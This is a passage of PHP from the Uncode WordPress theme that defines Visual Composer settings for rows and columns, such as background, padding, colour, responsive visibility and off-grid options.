background repeat. <a href=\'http://www.w3schools.com/cssref/pr_background-repeat.asp\' target=\'_blank\'>Check this for reference</a>', 'uncode') , array( 'a' => array( 'href' => array(),'target' => array() ) ) ), 'param_name' => 'back_repeat', 'param_holder_class' => 'background-image-settings', 'value' => array( esc_html__('background-repeat', 'uncode') => '', esc_html__('No Repeat', 'uncode') => 'no-repeat', esc_html__('Repeat All', 'uncode') => 'repeat', esc_html__('Repeat Horizontally', 'uncode') => 'repeat-x', esc_html__('Repeat Vertically', 'uncode') => 'repeat-y', esc_html__('Inherit', 'uncode') => 'inherit' ) , 'dependency' => array( 'element' => 'back_image', 'not_empty' => true, ) , "group" => esc_html__("Style", 'uncode') ); $add_background_attachment = array( 'type' => 'dropdown', 'heading' => '', "description" => wp_kses(__("Define the background attachment. <a href='http://www.w3schools.com/cssref/pr_background-attachment.asp' target='_blank'>Check this for reference</a>", 'uncode'), array( 'a' => array( 'href' => array(),'target' => array() ) ) ) , 'param_name' => 'back_attachment', 'value' => array( esc_html__('background-attachement', 'uncode') => '', esc_html__('Fixed', 'uncode') => 'fixed', esc_html__('Scroll', 'uncode') => 'scroll', esc_html__('Inherit', 'uncode') => 'inherit' ) , 'dependency' => array( 'element' => 'back_image', 'not_empty' => true, ) , "group" => esc_html__("Style", 'uncode') ); $add_background_position = array( 'type' => 'dropdown', 'heading' => '', "description" => wp_kses(__("Define the background position. <a href='http://www.w3schools.com/cssref/pr_background-position.asp' target='_blank'>Check this for reference</a>", 'uncode'), array( 'a' => array( 'href' => array(),'target' => array() ) ) ) , 'param_name' => 'back_position', 'value' => array( esc_html__('background-position', 'uncode') => '', esc_html__('Left Top', 'uncode') => 'left top', esc_html__('Left Center', 'uncode') => 'left center', esc_html__('Left Bottom', 'uncode') => 'left bottom', esc_html__('Center Top', 'uncode') => 'center top', esc_html__('Center Center', 'uncode') => 'center center', esc_html__('Center Bottom', 'uncode') => 'center bottom', esc_html__('Right Top', 'uncode') => 'right top', esc_html__('Right Center', 'uncode') => 'right center', esc_html__('Right Bottom', 'uncode') => 'right bottom' ) , 'dependency' => array( 'element' => 'back_image', 'not_empty' => true, ) , "group" => esc_html__("Style", 'uncode') ); $add_background_size = array( 'type' => 'textfield', 'heading' => '', "description" => wp_kses(__("Define the background size (Default value is 'cover'). <a href='http://www.w3schools.com/cssref/css3_pr_background-size.asp' target='_blank'>Check this for reference</a>", 'uncode'), array( 'a' => array( 'href' => array(),'target' => array() ) ) ) , 'param_name' => 'back_size', 'dependency' => array( 'element' => 'back_image', 'not_empty' => true, ) , "group" => esc_html__("Style", 'uncode') ); vc_map(array( 'name' => esc_html__('Row', 'uncode') , 'base' => 'vc_row', 'weight' => 1000, 'php_class_name' => 'uncode_row', 'is_container' => true, 'icon' => 'fa fa-align-justify', 'show_settings_on_create' => false, 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Row container element', 'uncode') , 'params' => array( array( "type" => 'checkbox', "heading" => esc_html__("Container width", 'uncode') , "param_name" => "unlock_row", "description" => esc_html__("Define the width of the container.", 'uncode') , "value" => Array( '' => 'yes' ) , "std" => 'yes', "group" => esc_html__("Aspect", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Content width", 'uncode') , "param_name" => "unlock_row_content", "description" => esc_html__("Define the width of the content area.", 'uncode') , "value" => Array( '' => 'yes' ) , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'unlock_row', 'value' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Height", 'uncode') , "param_name" => "row_height_percent", "min" => 0, "max" => 100, "step" => 1, "value" => 0, "description" => wp_kses(__("Set the row height with a percent value.<br>N.B. This value is including the top and bottom padding.", 'uncode'), array( 'br' => array( ) ) ) , "group" => esc_html__("Aspect", 'uncode') , ) , array( 'type' => 'textfield', 'heading' => esc_html__("Min height", 'uncode') , 'param_name' => 'row_height_pixel', 'description' => esc_html__("Insert the row minimum height in pixel.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Custom padding", 'uncode') , "param_name" => "override_padding", "description" => esc_html__('Activate this to define custom paddings.', 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Left and right padding", 'uncode') , "param_name" => "h_padding", "min" => 0, "max" => 7, "step" => 1, "value" => 2, "description" => esc_html__("Set the left and right padding.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "dependency" => Array( 'element' => "override_padding", 'value' => array( 'yes' ) ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Top padding", 'uncode') , "param_name" => "top_padding", "min" => 0, "max" => 7, "step" => 1, "value" => 2, "description" => esc_html__("Set the top padding.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "dependency" => Array( 'element' => "override_padding", 'value' => array( 'yes' ) ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Bottom padding", 'uncode') , "param_name" => "bottom_padding", "min" => 0, "max" => 7, "step" => 1, "value" => 2, "description" => esc_html__("Set the bottom padding.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "dependency" => Array( 'element' => "override_padding", 'value' => array( 'yes' ) ) , ) , array( "type" => "dropdown", "heading" => esc_html__("Background color", 'uncode') , "param_name" => "back_color", "description" => esc_html__("Specify a background color for the row.", 'uncode') , "group" => esc_html__("Style", 'uncode') , "value" => $uncode_colors, ) , array( "type" => 'checkbox', "heading" => esc_html__("Automatic background", 'uncode') , "param_name" => "back_image_auto", "description" => esc_html__("Activate to pickup the background media from the category.", 'uncode') , "value" => Array( '' => 'yes' ) , "group" => esc_html__("Style", 'uncode') , ), array( "type" => "media_element", "heading" => esc_html__("Background media", 'uncode') , "param_name" => "back_image", "value" => "", "description" => esc_html__("Specify a media from the media library.", 'uncode') , "group" => esc_html__("Style", 'uncode') ) , $add_background_repeat, $add_background_attachment, $add_background_position, $add_background_size, array( "type" => 'checkbox', "heading" => esc_html__("Parallax", 'uncode') , "param_name" => "parallax", "description" => esc_html__("Activate this to have the background parallax effect.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Style", 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Overlay color", 'uncode') , "param_name" => "overlay_color", "description" => esc_html__("Specify an overlay color for the background.", 'uncode') , "group" => esc_html__("Style", 'uncode') , "value" => $uncode_colors, ) , array( "type" => "type_numeric_slider", "heading" => '', "param_name" => "overlay_alpha", "min" => 0, "max" => 100, "step" => 1, "value" => 50, "description" => esc_html__("Set the transparency for the overlay.", 'uncode') , "group" => esc_html__("Style", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Columns with equal height", 'uncode') , "param_name" => "equal_height", "description" => esc_html__("Activate this to have columns that are all equally tall, matching the height of the tallest.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Inner columns", 'uncode') ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Columns gap", 'uncode') , "param_name" => "gutter_size", "min" => 0, "max" => 4, "step" => 1, "value" => 3, "description" => esc_html__("Set the columns gap.", 'uncode') , "group" => esc_html__("Inner columns", 'uncode') , ) , array( 'type' => 'css_editor', 'heading' => esc_html__('Css', 'uncode') , 'param_name' => 'css', 'group' => esc_html__('Custom', 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Border color", 'uncode') , "param_name" => "border_color", "description" => esc_html__("Specify a border color.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $uncode_colors_w_transp, ) , array( "type" => "dropdown", "heading" => esc_html__("Border style", 'uncode') , "param_name" => "border_style", "description" => esc_html__("Specify a border style.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $border_style, ) , array( "type" => 'checkbox', "heading" => esc_html__("Desktop", 'uncode') , "param_name" => "desktop_visibility", "description" => esc_html__("Choose the visibiliy of the element in desktop layout mode (960px >).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Tablet", 'uncode') , "param_name" => "medium_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile", 'uncode') , "param_name" => "mobile_visibility", "description" => esc_html__("Choose the visibiliy of the element in mobile layout mode (< 570px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Shift y-axis", 'uncode') , "param_name" => "shift_y", "min" => - 5, "max" => 5, "step" => 1, "value" => 0, "description" => esc_html__("Set how much the element has to shift in the Y axis.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Shift y-axis fixed", 'uncode') , "param_name" => "shift_y_fixed", "description" => esc_html__("Deactive shift-y responsiveness.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Sticky", 'uncode') , "param_name" => "sticky", "description" => esc_html__("Activate this to stick the element when scrolling.", 'uncode') , 'group' => esc_html__('Extra', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') , "group" => esc_html__("Extra", 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Section name', 'uncode') , 'param_name' => 'row_name', 'description' => esc_html__('Required for the onepage scroll, this gives the name to the section.', 'uncode') , "group" => esc_html__("Extra", 'uncode') ) , ) , 'js_view' => 'UncodeRowView' )); vc_map(array( 'name' => esc_html__('Row', 'uncode') , 'base' => 'vc_row_inner', 'php_class_name' => 'uncode_row_inner', 'content_element' => false, 'is_container' => true, 'icon' => 'icon-wpb-row', 'weight' => 1000, 'show_settings_on_create' => false, 'params' => array( array( "type" => "type_numeric_slider", 'heading' => esc_html__("Height", 'uncode') , "param_name" => "row_inner_height_percent", "min" => 0, "max" => 100, "step" => 1, "value" => 0, "description" => wp_kses(__("Set the row height with a percent value.<br>N.B. This value is relative to the row parent.", 'uncode'), array( 'br' => array( ) ) ) , "group" => esc_html__("Aspect", 'uncode') , ) , array( 'type' => 'textfield', 'heading' => esc_html__("Min height", 'uncode') , 'param_name' => 'row_height_pixel', 'description' => esc_html__("Insert the row minimum height in pixel.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Force width 100%", 'uncode') , "param_name" => "force_width_grid", "description" => wp_kses(__('Set this value if you need to force the width to 100%.<br>N.B. This is needed only when all the columns are OFF-GRID.','uncode') , array( 'br' => array( ),'b' => array( ) ) ), "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "dropdown", "heading" => esc_html__("Background color", 'uncode') , "param_name" => "back_color", "description" => esc_html__("Specify a background color for the row.", 'uncode') , "group" => esc_html__("Style", 'uncode') , "value" => $uncode_colors, ) , array( "type" => "media_element", "heading" => esc_html__("Background media", 'uncode') , "param_name" => "back_image", "value" => "", "description" => esc_html__("Specify a media from the media library.", 'uncode') , "group" => esc_html__("Style", 'uncode') ) , $add_background_repeat, $add_background_attachment, $add_background_position, $add_background_size, array( "type" => 'checkbox', "heading" => esc_html__("Parallax", 'uncode') , "param_name" => "parallax", "description" => esc_html__("Activate this to have the background parallax effect.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "dependency" => Array( 'element' => "back_image", 'not_empty' => true ) , "group" => esc_html__("Style", 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Overlay color", 'uncode') , "param_name" => "overlay_color", "description" => esc_html__("Specify an overlay color for the background.", 'uncode') , "group" => esc_html__("Style", 'uncode') , "value" => $uncode_colors, ) , array( "type" => "type_numeric_slider", "heading" => '', "param_name" => "overlay_alpha", "min" => 0, "max" => 100, "step" => 1, "value" => 50, "description" => esc_html__("Set the transparency for the overlay.", 'uncode') , "group" => esc_html__("Style", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Columns with equal height", 'uncode') , "param_name" => "equal_height", "description" => esc_html__("Activate this to have columns that are all equally tall, matching the height of the tallest.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Inner columns", 'uncode') ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Columns gap", 'uncode') , "param_name" => "gutter_size", "min" => 0, "max" => 4, "step" => 1, "value" => 3, "description" => esc_html__("Set the columns gap.", 'uncode') , "group" => esc_html__("Inner columns", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Desktop", 'uncode') , "param_name" => "desktop_visibility", "description" => esc_html__("Choose the visibiliy of the element in desktop layout mode (960px >).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Tablet", 'uncode') , "param_name" => "medium_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile", 'uncode') , "param_name" => "mobile_visibility", "description" => esc_html__("Choose the visibiliy of the element in mobile layout mode (< 570px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Shift y-axis", 'uncode') , "param_name" => "shift_y", "min" => - 5, "max" => 5, "step" => 1, "value" => 0, "description" => esc_html__("Set how much the element has to shift in the Y axis.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Shift y-axis fixed", 'uncode') , "param_name" => "shift_y_fixed", "description" => esc_html__("Deactive shift-y responsiveness.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( 'type' => 'css_editor', 'heading' => esc_html__('Css', 'uncode') , 'param_name' => 'css', 'group' => esc_html__('Custom', 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Border color", 'uncode') , "param_name" => "border_color", "description" => esc_html__("Specify a border color.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $uncode_colors_w_transp, ) , array( "type" => "dropdown", "heading" => esc_html__("Border style", 'uncode') , "param_name" => "border_style", "description" => esc_html__("Specify a border style.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $border_style, ) , array( "type" => 'checkbox', "heading" => esc_html__("Sticky", 'uncode') , "param_name" => "sticky", "description" => esc_html__("Activate this to stick the element when scrolling.", 'uncode') , 'group' => esc_html__('Extra', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') , "group" => esc_html__("Extra", 'uncode') ) , ) , 'js_view' => 'UncodeRowView' )); vc_map(array( "name" => esc_html__("Column", 'uncode') , "base" => "vc_column", "is_container" => true, "content_element" => false, "params" => array( array( "type" => 'checkbox', "heading" => esc_html__("Content width", 'uncode') , "param_name" => "column_width_use_pixel", "edit_field_class" => 'vc_col-sm-12 vc_column row_height', "description" => 'Set this value if you want to constrain the column width.', "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => '', "param_name" => "column_width_percent", "min" => 0, "max" => 100, "step" => 1, "value" => 100, "description" => esc_html__("Set the column width with a percent value.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'column_width_use_pixel', 'is_empty' => true, ) ) , array( 'type' => 'textfield', 'heading' => '', 'param_name' => 'column_width_pixel', 'description' => esc_html__("Insert the column width in pixel.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'column_width_use_pixel', 'value' => 'yes' ) ) , array( "type" => 'dropdown', "heading" => esc_html__("Horizontal position", 'uncode') , "param_name" => "position_horizontal", "description" => esc_html__("Specify the horizontal position of the content if you have decreased the width value.", 'uncode') , "std" => 'center', "value" => array( 'Left' => 'left', 'Center' => 'center', 'Right' => 'right' ) , 'group' => esc_html__('Aspect', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Vertical position", 'uncode') , "param_name" => "position_vertical", "description" => esc_html__("Specify the vertical position of the content.", 'uncode') , "value" => array( 'Top' => 'top', 'Middle' => 'middle', 'Bottom' => 'bottom' ) , 'group' => esc_html__('Aspect', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text alignment", 'uncode') , "param_name" => "align_horizontal", "description" => esc_html__("Specify the alignment inside the content box.", 'uncode') , "value" => array( 'Left' => 'align_left', 'Center' => 'align_center', 'Right' => 'align_right', ) , 'group' => esc_html__('Aspect', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Expand height to 100%", 'uncode') , "param_name" => "expand_height", "description" => esc_html__("Activate this to expand the height of the column to 100%, if you haven't activate the equal height row setting.", 'uncode') , 'group' => esc_html__('Aspect', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Custom padding", 'uncode') , "param_name" => "override_padding", "description" => esc_html__('Activate this to define custom paddings.', 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Custom padding", 'uncode') , "param_name" => "column_padding", "min" => 0, "max" => 5, "step" => 1, "value" => 2, "description" => esc_html__("Set the column padding", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "dependency" => Array( 'element' => "override_padding", 'value' => array( 'yes' ) ) , ) , array( "type" => "dropdown", "heading" => esc_html__("Column text skin", 'uncode') , "param_name" => "style", "value" => array( esc_html__('Inherit', 'uncode') => '', esc_html__('Light', 'uncode') => 'light', esc_html__('Dark', 'uncode') => 'dark' ) , 'group' => esc_html__('Style', 'uncode') , "description" => esc_html__("Specify the text/skin color of the column.", 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Column font family", 'uncode') , "param_name" => "font_family", "description" => esc_html__("Specify the column font family.", 'uncode') , "value" => $heading_font, 'std' => '', 'group' => esc_html__('Style', 'uncode') , ) , array( "type" => "dropdown", "heading" => esc_html__("Column custom background color", 'uncode') , "param_name" => "back_color", "description" => esc_html__("Specify a background color for the column.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('Style', 'uncode') ) , array( "type" => "media_element", "heading" => esc_html__("Media", 'uncode') , "param_name" => "back_image", "value" => "", "description" => esc_html__("Specify a media from the media library.", 'uncode') , 'group' => esc_html__('Style', 'uncode') ) , $add_background_repeat, $add_background_attachment, $add_background_position, $add_background_size, array( "type" => 'checkbox', "heading" => esc_html__("Parallax", 'uncode') , "param_name" => "parallax", "description" => esc_html__("Activate this to have the background parallax effect.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "dependency" => Array( 'element' => "back_image", 'not_empty' => true ) , "group" => esc_html__("Style", 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Overlay color", 'uncode') , "param_name" => "overlay_color", "description" => esc_html__("Specify an overlay color for the background.", 'uncode') , "group" => esc_html__("Style", 'uncode') , "value" => $uncode_colors, ) , array( "type" => "type_numeric_slider", "heading" => '', "param_name" => "overlay_alpha", "min" => 0, "max" => 100, "step" => 1, "value" => 50, "description" => esc_html__("Set the transparency for the overlay.", 'uncode') , "group" => esc_html__("Style", 'uncode') , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Vertical gap", 'uncode') , "param_name" => "gutter_size", "min" => 0, "max" => 6, "step" => 1, "value" => 3, "description" => esc_html__("Set the vertical space between elements.", 'uncode') , "group" => esc_html__("Inner elements", 'uncode') , ) , array( "type" => "css_editor", "heading" => esc_html__('Css', 'uncode') , "param_name" => "css", "group" => esc_html__('Custom', 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Border color", 'uncode') , "param_name" => "border_color", "description" => esc_html__("Specify a border color.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $uncode_colors_w_transp, ) , array( "type" => "dropdown", "heading" => esc_html__("Border style", 'uncode') , "param_name" => "border_style", "description" => esc_html__("Specify a border style.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $border_style, ) , array( "type" => 'checkbox', "heading" => esc_html__("Desktop", 'uncode') , "param_name" => "desktop_visibility", "description" => esc_html__("Choose the visibiliy of the element in desktop layout mode (960px >).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Tablet", 'uncode') , "param_name" => "medium_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'dropdown', "param_name" => "align_medium", "description" => esc_html__("Specify the text alignment inside the content box in tablet layout mode.", 'uncode') , "value" => array( 'Text align (Inherit)' => '', 'Left' => 'align_left_tablet', 'Center' => 'align_center_tablet', 'Right' => 'align_right_tablet', ) , 'group' => esc_html__('Responsive', 'uncode') ) , array( "type" => "type_numeric_slider", "param_name" => "medium_width", "min" => 0, "max" => 7, "step" => 1, "value" => 0, "description" => esc_html__("COLUMN WIDTH. N.B. If you change this value for one column you must specify a value for every column of the row.", 'uncode') , "group" => esc_html__("Responsive", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile", 'uncode') , "param_name" => "mobile_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'dropdown', "param_name" => "align_mobile", "description" => esc_html__("Specify the text alignment inside the content box in mobile layout mode.", 'uncode') , "value" => array( 'Text align (Inherit)' => '', 'Left' => 'align_left_mobile', 'Center' => 'align_center_mobile', 'Right' => 'align_right_mobile', ) , 'group' => esc_html__('Responsive', 'uncode') ) , array( "type" => "textfield", "param_name" => "mobile_height", "description" => esc_html__("MINIMUM HEIGHT. Insert the value in pixel.", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Shift x-axis", 'uncode') , "param_name" => "shift_x", "min" => - 5, "max" => 5, "step" => 1, "value" => 0, "description" => esc_html__("Set how much the element has to shift in the X axis.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Shift x-axis fixed", 'uncode') , "param_name" => "shift_x_fixed", "description" => esc_html__("Deactive shift-x responsiveness.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Shift y-axis", 'uncode') , "param_name" => "shift_y", "min" => - 5, "max" => 5, "step" => 1, "value" => 0, "description" => esc_html__("Set how much the element has to shift in the Y axis.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Shift y-axis fixed", 'uncode') , "param_name" => "shift_y_fixed", "description" => esc_html__("Deactive shift-y responsiveness.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Custom z-index", 'uncode') , "param_name" => "z_index", "min" => 0, "max" => 10, "step" => 1, "value" => 0, "description" => esc_html__("Set a custom z-index to ensure the visibility of the element.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'vc_link', 'heading' => esc_html__('Custom link', 'uncode') , 'param_name' => 'link_to', 'description' => esc_html__('Enter a custom link for the column.', 'uncode') , 'group' => esc_html__('Extra', 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Sticky", 'uncode') , "param_name" => "sticky", "description" => esc_html__("Activate this to stick the element when scrolling.", 'uncode') , 'group' => esc_html__('Extra', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "textfield", "heading" => esc_html__("Extra class", 'uncode') , "param_name" => "el_class", "description" => esc_html__("If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.", 'uncode') , 'group' => esc_html__('Extra', 'uncode') ) , ) , "js_view" => 'UncodeColumnView' )); vc_map(array( "name" => esc_html__("Column", 'uncode') , "base" => "vc_column_inner", "class" => "", "icon" => "", "wrapper_class" => "", "controls" => "full", "allowed_container_element" => false, "content_element" => false, "is_container" => true, "params" => array( array( "type" => 'checkbox', "heading" => esc_html__("Content width", 'uncode') , "param_name" => "column_width_use_pixel", "edit_field_class" => 'vc_col-sm-12 vc_column row_height', "description" => 'Set this value if you want to constrain the column width.', "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => '', "param_name" => "column_width_percent", "min" => 0, "max" => 100, "step" => 1, "value" => 100, "description" => esc_html__("Set the column width with a percent value.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'column_width_use_pixel', 'is_empty' => true, ) ) , array( 'type' => 'textfield', 'heading' => '', 'param_name' => 'column_width_pixel', 'description' => esc_html__("Insert the column width in pixel.", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , 'dependency' => array( 'element' => 'column_width_use_pixel', 'value' => 'yes' ) ) , array( "type" => 'dropdown', "heading" => esc_html__("Horizontal position", 'uncode') , "param_name" => "position_horizontal", "description" => esc_html__("Specify the horizontal position of the content if you have decreased the width value.", 'uncode') , "std" => 'center', "value" => array( 'Left' => 'left', 'Center' => 'center', 'Right' => 'right' ) , 'group' => esc_html__('Aspect', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Vertical position", 'uncode') , "param_name" => "position_vertical", "description" => esc_html__("Specify the vertical position of the content.", 'uncode') , "value" => array( 'Top' => 'top', 'Middle' => 'middle', 'Bottom' => 'bottom' ) , 'group' => esc_html__('Aspect', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text alignment", 'uncode') , "param_name" => "align_horizontal", "description" => esc_html__("Specify the alignment inside the content box.", 'uncode') , "value" => array( 'Left' => 'align_left', 'Center' => 'align_center', 'Right' => 'align_right', ) , 'group' => esc_html__('Aspect', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Expand height to 100%", 'uncode') , "param_name" => "expand_height", "description" => esc_html__("Activate this to expand the height of the column to 100%, if you haven't activate the equal height row setting.", 'uncode') , 'group' => esc_html__('Aspect', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Custom padding", 'uncode') , "param_name" => "override_padding", "description" => esc_html__('Activate this to define custom paddings.', 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "value" => array( '' => 'yes' ) ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Custom padding", 'uncode') , "param_name" => "column_padding", "min" => 0, "max" => 5, "step" => 1, "value" => 2, "description" => esc_html__("Set the column padding", 'uncode') , "group" => esc_html__("Aspect", 'uncode') , "dependency" => Array( 'element' => "override_padding", 'value' => array( 'yes' ) ) , ) , array( "type" => "dropdown", "heading" => esc_html__("Column text skin", 'uncode') , "param_name" => "style", "value" => array( esc_html__('Inherit', 'uncode') => '', esc_html__('Light', 'uncode') => 'light', esc_html__('Dark', 'uncode') => 'dark' ) , 'group' => esc_html__('Style', 'uncode') , "description" => esc_html__("Specify the text/skin color of the column.", 'uncode') ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Vertical gap", 'uncode') , "param_name" => "gutter_size", "min" => 0, "max" => 6, "step" => 1, "value" => 3, "description" => esc_html__("Set the vertical space between elements.", 'uncode') , "group" => esc_html__("Inner elements", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Column font family", 'uncode') , "param_name" => "font_family", "description" => esc_html__("Specify the column font family.", 'uncode') , "value" => $heading_font, 'std' => '', 'group' => esc_html__('Style', 'uncode') , ) , array( "type" => "dropdown", "heading" => esc_html__("Column custom background color", 'uncode') , "param_name" => "back_color", "description" => esc_html__("Specify a background color for the column.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('Style', 'uncode') ) , array( "type" => "media_element", "heading" => esc_html__("Media", 'uncode') , "param_name" => "back_image", "value" => "", "description" => esc_html__("Specify a media from the media library.", 'uncode') , 'group' => esc_html__('Style', 'uncode') ) , $add_background_repeat, $add_background_attachment, $add_background_position, $add_background_size, array( "type" => 'checkbox', "heading" => esc_html__("Parallax", 'uncode') , "param_name" => "parallax", "description" => esc_html__("Activate this to have the background parallax effect.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "dependency" => Array( 'element' => "back_image", 'not_empty' => true ) , "group" => esc_html__("Style", 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Overlay color", 'uncode') , "param_name" => "overlay_color", "description" => esc_html__("Specify an overlay color for the background.", 'uncode') , "group" => esc_html__("Style", 'uncode') , "value" => $uncode_colors, ) , array( "type" => 